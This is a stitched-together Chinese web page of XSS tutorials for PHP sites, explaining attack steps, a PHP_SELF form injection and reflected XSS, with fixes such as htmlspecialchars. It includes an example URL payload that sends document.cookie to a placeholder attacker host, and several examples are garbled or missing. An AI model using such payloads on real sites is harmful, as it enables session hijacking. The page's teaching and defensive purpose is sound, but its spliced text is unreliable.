修复网站asp跨站脚本攻击漏洞洞

中国领先的IT技术网站
51CTO旗下网站
PHP漏洞全解(四)-xss跨站脚本攻击
本文主要介绍针对PHP网站的xss跨站脚本攻击。跨站脚本攻击是通过在网页中加入恶意代码,当访问者浏览网页时恶意代码会被执行或者通过给管理员发信息的方式诱使管理员浏览,从而获得管理员权限,控制整个网站。攻击者利用跨站请求伪造能够轻松地强迫用户的浏览器发出非故意的HTTP请求,如诈骗性的电汇请求、修改口令和下载非法的内容等请求。
作者:DoDo来源:| 14:45
XSS(Cross Site Scripting),意为跨网站脚本攻击,为了和样式表css(Cascading Style
Sheet)区别,缩写为XSS
跨站脚本主要被攻击者利用来读取网站用户的cookies或者其他个人数据,一旦攻击者得到这些数据,那么他就可以伪装成此用户来登录网站,获得此用户的权限。
跨站脚本攻击的一般步骤:
1、攻击者以某种方式发送xss的http链接给目标用户
2、目标用户登录此网站,在登陆期间打开了攻击者发送的xss链接
3、网站执行了此xss攻击脚本
4、目标用户页面跳转到攻击者的网站,攻击者取得了目标用户的信息
5、攻击者使用目标用户的信息登录网站,完成攻击
当有存在跨站漏洞的程序出现的时候,攻击者可以构造类似 >
,诱骗用户点击后,可以获取用户cookies值
利用htmlspecialchars函数将特殊字符转换成HTML编码
htmlspecialchars (string string, int quote_style, string
string 是要编码的字符串
quote_style
可选,值可为ENT_COMPAT、ENT_QUOTES、ENT_NOQUOTES,默认值ENT_COMPAT,表示只转换双引号不转换单引号。ENT_QUOTES,表示双引号和单引号都要转换。ENT_NOQUOTES,表示双引号和单引号都不转换
charset 可选,表示使用的字符集
函数会将下列特殊字符转换成html编码:
‘ ―-> ‘
$_SERVER["PHP_SELF"]变量的跨站
在某个表单中,如果提交参数给自己,会用这样的语句
method="POST">
$_SERVER["PHP_SELF"]变量的值为当前页面名称
get.php中上述的表单
那么我们提交
那么表单变成
method="POST">
跨站脚本被插进去了
防御方法还是使用htmlspecialchars过滤输出的变量,或者提交给自身文件的表单使用
这样直接避免了$_SERVER["PHP_SELF"]变量被跨站【责任编辑: TEL:(010)】
大家都在看猜你喜欢
原创头条头条外电头条
24H热文一周话题本月最赞
讲师:244824人学习过
讲师:30828人学习过
讲师:125502人学习过
精选博文论坛热帖下载排行
本书主要以“网管员的成长经历”为线索展开,虚拟出一个“新手”网管员的工作和学习环境,将网管员的成长分为4个阶段,以“网管入职充电→...
订阅51CTO邮刊本文讲的是跨站脚本攻击之反射型XSS漏洞,
对于开发者来说,使用这种方法非常方便,因为这样的解决方法可方便的将多种不同的消息返回状态,使用一个定制好的信息提示页面。
例如,通过程序参数输出传递的参数到HTML页面,则打开下面的网址将会返回一个消息提示:
对于开发者来说,使用这种方法非常方便,因为这样的解决方法可方便的将多种不同的消息返回状态,使用一个定制好的信息提示页面。
例如,通过程序参数输出传递的参数到HTML页面,则打开下面的网址将会返回一个消息提示:
http://你的网站/xss/message.php?send=Hello,World www.111cn.net!
输出内容:
Hello,World www.111cn.net!
此程序功能为提取参数中的数据并插入到页面加载后的HTML代码中,这是XSS漏洞的一个明显特征:如果此程序没有经过过滤等安全措施,则它将会很容易受到攻击。下面我们一起来看如何实施攻击。
在原程序的URL的参数为,替换为我们用来测试的代码:
http://www.111cn.net /xss/message.php?send=&script&alert(‘xss’)&/script&
页面输出内容则为:
&script&alert(‘xss’)&/script&
当用户在用户浏览器打开的时,将会弹出提示消息。如图1所示:
图1 通过URL传参测试XSS
在目前互联网的Web程序中存在的XSS漏洞,有近75%的漏洞属于这种简单的XSS漏洞。由于这种漏洞需要发送一个包含了嵌入式JavaScript代码的请求,随后这些代码被反射给了发出请求的用户,因此被称为反射型XSS。攻击有效符合分别通过一个单独的请求与响应进行传送和执行,因为也被称为一阶XSS。
利用XSS漏洞攻击Web程序的其它用户的方式有很多种。最简单的一种攻击方法是,利用XSS漏洞来劫持已通过验证的用户的会话。劫持到已验证的会话后,攻击发起者则拥有该授权用户的所有权限。
利用反射型XSS漏洞进行会话权限劫持的攻击步骤,如图2所示:
图2 反射型XSS漏洞的攻击步骤
(1) 用户正常登录Web应用程序,登录成功会得到一个会话信息的cookie:
Set-cookie:sessId = f16e9cc0c7 f16e9cc0c7
(2) 攻击者将含有攻击代码的URL发送给被攻击人;
http://你的网站/xss/message.php?send=%3Cscript%3Edocument.write(‘%3Cimg%20height=0%20width=0%20src=%22 http://hacker.你的网站/xss/cookie_save.php%3Fcookie=%3D’%20+%20encodeURL(document.cookie)%20+%20’%22/%3E’)%3C/script%3E
(3) 用户打开攻击者发送过来的ULR;
(4) Web应用程序执行用户发出的请求;
(5) 同时也会执行该URL中所含的攻击者的JavaScript代码;
(6) 例子中攻击者使用的攻击代码作用是将用户的cookie信息发送到cookie_save.php这个文件来记录下来;
(7) 攻击者在得到用户的cookie信息后,将可以利用这些信息来劫持用户的会话。以该用户的身份进行登录
可以利用下面这些函数对出现xss漏洞的参数进行过滤
PHP的htmlentities()或是htmlspecialchars()。
Python的cgi.escape()。
ASP的Server.HTMLEncode()。
ASP.NET的Server.HtmlEncode()或功能更强的Microsoft Anti-Cross Site Scripting Library
Java的xssprotect(Open Source Library)。
Node.js的node-validator。
以上是云栖社区小编为您精心准备的的内容,在云栖社区的博客、问答、公众号、人物、课程等栏目也有的相关内容,欢迎继续使用右上角搜索按钮进行搜索程序
xss跨站脚本漏洞 修复、xss跨站脚本漏洞、xss跨站脚本漏洞危害、跨站脚本漏洞xss测试、反射型跨站脚本漏洞,以便于您获取更多的相关知识。
弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率
稳定可靠、可弹性伸缩的在线数据库服务,全球最受欢迎的开源数据库之一
6款热门基础云产品6个月免费体验;2款产品1年体验;1款产品2年体验
开发者常用软件,超百款实用软件一站式提供
云栖社区()为您免费提供相关信息,包括
的信息,还有xss跨站脚本漏洞 修复、xss跨站脚本漏洞、xss跨站脚本漏洞危害、跨站脚本漏洞xss测试、反射型跨站脚本漏洞等
,所有相关内容均不代表云栖社区的意见!2016年2月 总版技术专家分月排行榜第二2014年2月 总版技术专家分月排行榜第二2013年4月 总版技术专家分月排行榜第二
2016年10月优秀小版主
2016年8月优秀小版主2016年7月优秀小版主优秀小版主2015年7月优秀小版主2015年9月优秀小版主2015年5月优秀小版主2014年11月论坛优秀版主
2015年2月 总版技术专家分月排行榜第二
2015年2月 Web 开发大版内专家分月排行榜第一2015年1月 Web 开发大版内专家分月排行榜第一2014年12月 Web 开发大版内专家分月排行榜第一2014年11月 Web 开发大版内专家分月排行榜第一2014年10月 Web 开发大版内专家分月排行榜第一
匿名用户不能发表回复!|
每天回帖即可获得10分可用分!小技巧:
你还可以输入10000个字符
(Ctrl+Enter)
请遵守CSDN,不得违反国家法律法规。
转载文章请注明出自“CSDN(www.csdn.net)”。如是商业用途请联系原作者。}

我要回帖

更多关于 跨站脚本攻击漏洞检测 的文章

更多推荐

版权声明:文章内容来源于网络,版权归原作者所有,如有侵权请点击这里与我们联系,我们将及时删除。

点击添加站长微信